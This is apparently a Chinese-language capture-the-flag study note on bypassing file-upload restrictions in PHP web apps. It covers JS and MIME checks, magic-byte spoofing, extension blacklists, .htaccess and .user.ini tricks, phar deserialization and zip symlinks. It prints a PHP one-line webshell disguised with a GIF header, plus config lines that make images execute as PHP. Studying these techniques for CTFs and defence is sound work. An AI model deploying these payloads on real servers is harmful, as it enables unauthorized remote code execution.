# 检测绕过
# 1.js 检测
一般网页会有 JavaScript 对文件名后缀进行黑名单或者白名单检测
可以用 bp 进行抓包改名字绕过
例题:pass-01
# 2.MIME 检测
MIME 是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
常见的信息头为:
Content-Type:
上传文件的时候可能会检测文件的文件类型,一般会规定是图片类型,可能就要改成:
Content-Type: image/jpeg
例题:pass-02
# 3. 文件头检测
对文件头进行检测,其实做 misc 的时候用 010 查看文件会发现不同文件的文件头也是不同的,所以源码可能会用正则匹配等形式对文件头进行检测
只要在上传的文件前面加上对应文件头的字符串就好了
例如:
GIF89a | |
<?php @eval($_POST['cmd']);?> |
# 4. 黑名单检测
有时候并不会规定必须上传 .jpg
等文件,但是会存在一个黑名单,使得我们不能上传类似于 php
文件
有时候可以通过:
1. 大小写绕过
2. 双写绕过
3. 其他后缀名绕过 比如 phtml php5 等
4. 上传.htaccess|.user.ini 绕过
例题:[GEEK] Upload
# .htaccess
https://xz.aliyun.com/t/8267#toc-4
AddType application/x-httpd-php .gif | |
// 将所有文件当作php文件来解析 | |
SetHandler application/x-httpd-php |
例题:[MRCTF] 传你🐎呢
例题:[Dest0g3 迎新赛] funny_upload
# .user.ini
参考
- 什么是.user.ini 文件?
答:.user.ini 文件相当于一个用户可以自定义的 php.ini 文件,但是有一点限制就是不能定义 PHP_INI_SYSTEM 模式,而在执行 php 代码之前,系统会对.user.ini 先做一个执行,然后才执行其他的 php 文件。 - 怎么利用.user.ini 文件?
答:我们可以在.user.ini 文件中写入 auto_prepend_file 函数,auto_prepend_file 表示在 php 程序加载第一个 php 代码前加载的 php 文件,这时候我们就可以引入一个我们自己所写的 php 文件,也就是一个一句话木马。
auto_prepend_file (函数) | |
auto_prepend_file 在页面顶部加载文件 | |
auto_append_file 在页面底部加载文件 | |
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。 |
使用 .user.ini
之后再上传带有一句话木马的图片,然后可以访问 index.php
执行 php 代码,然后用蚁剑连接
auto_prepend_file=1.jpg |
例题:[SUCTF] checkln
# 结合文件包含
# phar 文件
在生成 phar 文件时,会把数据进行序列化之后再保存进 phar 文件中,而之后可以利用 phar://
协议实现反序列化
例题:[HMGCTF2022] Fan Website
# zip 文件(符号链接)
比较简单的上传 zip 解压报错,但是 php 文件被保留
例题:[Dest0g3] ezip